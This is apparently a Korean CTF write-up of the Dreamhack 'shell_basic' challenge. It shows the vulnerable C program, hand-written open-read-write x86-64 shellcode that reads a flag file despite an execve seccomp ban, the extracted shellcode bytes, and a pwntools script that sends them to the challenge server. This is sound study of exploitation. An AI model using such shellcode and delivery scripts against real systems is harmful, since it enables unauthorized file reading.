문제

 

풀이

flag의 위치는 "/home/shell_basic/flag_name_is_loooooong"이라는 정보가 주어졌다.

앞선 이론에서 배웠던 orw 셸코드를 작성하면 될 것 같다.

 

일단 문제 파일 shell_basic.c 먼저 살펴보자.

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

main 함수를 보면 shellcode를 stdin에서 읽고, 그것을 실행한다는 것을 알 수 있다.

(fd = 0은 stdin을 뜻함)

 

orw 셸코드를 작성한 후 이를 shellcode로 넘겨주면 될 것 같다.

orw 셸코드를 작성해보자.

;Name: shell_basic.S

push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax

mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x2 ; rax = sys_open
syscall ; open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)

mov rdi, rax ; rdi = open("/home/shell_basic/flag_name_is_loooooong", NULL, NULL)
mov rsi, rsp
sub rsi, 0x30 ; rsi = buf
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x0 ; rax = sys_read
syscall ; read(fd, buf, 0x30)

mov rdi, 0x1 ; rdi = 0x1 (stdout)
mov rax, 0x1 ; rax = sys_write
syscall ; write(1, buf, 0x30)

flag의 경로가 "/home/shell_basic/flag_name_is_loooooong"이었으므로 해당 경로를 16진수로 변환한 다음 little endian에 맞춰 스택에 push한다. 이때 문자열의 끝을 명확히 나타낼 수 있도록 경로를 push하기 전 null을 push했다.

 

다음은 파일을 open하기 위한 asm을 작성하자.

open(filename, flags, mode)에서 각각 첫 번째, 두 번째, 세 번째 인자는 rdi, rsi, rdx 레지스터 값이 사용된다.

따라서 rdi에 rsp를 대입하고(경로명이 스택에 들어가있기 때문), rsi와 rdx는 0으로 만든다.

syscall은 rax 레지스터 값에 의해 결정기 때문에 rax를 2로 설정해주고 syscall.

 

read를 위한 asm을 작성해보자.

read(fd, buf, size)에서도 위와 마찬가지로 rdi, rsi, rdx 레지스터가 인자로 사용된다.

보통 syscall의 결과는 rax에 저장되므로 rdi에 rax값을 대입해준다.

buf는 스택에 만들 것이므로 rsi에 rsp를 대입하고, 파일에서 read할 크기만큼 rsi에서 빼준다.

(스택이 큰 주소에서 작은 주소로, 즉 위로 쌓이기 때문에 push하면 rsp값이 감소한다) 

마찬가지로 rdx를 파일에서 read할 크기만큼 설정해준다.

이제 rax를 0으로 설정하고 syscall을 한다.

 

buf에 우리가 지정한 크기만큼 "/home/shell_basic/flag_name_is_loooooong"에서 읽어온 데이터가 저장돼 있을 것이다.

이제 이 데이터를 stdout에 출력해야 한다.

write(fd, buf, size)에서 stdout에 출력하려면 fd가 1이어야 하기 때문에 rdi를 1로 설정해준다.

나머지 buf와 size는 read함수와 동일하므로 rsi, rdx는 수정하지 않았다.

마지막으로 rax를 1로 설정하고 syscall한다.

 

 

 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x0\n"
    "mov rax, 0x676e6f6f6f6f6f6f\n"
    "push rax\n"
	"mov rax, 0x6c5f73695f656d61\n"
    "push rax\n"
	"mov rax, 0x6e5f67616c662f63\n"
    "push rax\n"
	"mov rax, 0x697361625f6c6c65\n"
    "push rax\n"
	"mov rax, 0x68732f656d6f682f\n"
    "push rax\n"

    "mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"

    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"

    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c   # rax = sys_exit\n"
    "syscall   # exit(1)");

void run_sh();

int main() { run_sh(); }

작성한 asm을 토대로 c파일을 만들었다.

asm 맨 아래에 sys_exit하는 코드도 추가했다.

이제 orw.c를 컴파일하고 objdump로 셸코드를 추출해보자.

 

 

 

orw.c를 컴파일 후 "objdump -d orw.c"을 입력하면 각 섹션별로 디스어셈블한 결과가 출력된다.

(-d는 디스어셈블 옵션)

 

여기서 orw에 필요한 셸코드만 추출하자.

orw가 실행되는 부분은 run_sh() 함수이다.

해당 섹션에서 셸코드를 추출하면 된다.

 

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05

 

추출한 셸코드를 직접 입력해봤다.

그런데 아무리 기다려도 어떤 출력도 나타나지 않았다.

뭐가 문제인지 찾아보니 셸코드를 직접 입력하지 말고 pwntools로 넘겨야 한다는 것을 알게됐다.

(왜 꼭 그래야 하는지는 모르겠음...)

그래서 python을 작성했다.

 

from pwn import *

context.arch = "amd64"
p = remote("host1.dreamhack.games", 22901)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())

context.arch로 현재 아키텍처를 지정해두고, 원격 서버에 exploit할테니 remote를 사용했다.

shellcode에 아까 추출한 셸코드를 저장하고, sendlineafter로 해당 shellcode를 전달했다.

(sendlineafter를 사용한 이유는 원격 서버에 접속했을 때 "shellcode: "가 출력된 후 입력을 받았기 때문)

그 후 recv로 결과를 받아서 출력하게 만들었다.

 

 

 

해당 python 파일을 실행했더니 flag를 획득했다!!!

 

 

 

 

 

느낀점

셸코드를 추출하는 것까진 드림핵 이론에서 한 방법을 그대로 참고해서 쉽게 구했다.

다만, 셸코드를 전달하는 것에서 엄청난 애를 먹었다.

처음엔 원격 서버에 직접 셸코드를 전달했었는데 pwntools로 전달하자마자 바로 풀리는 것을 보고 좀 허탈했다.

그래도 asm를 직접 작성해보니까 확실히 더 공부가 되는 거 같았다.

 

 

 

 

 

복사했습니다!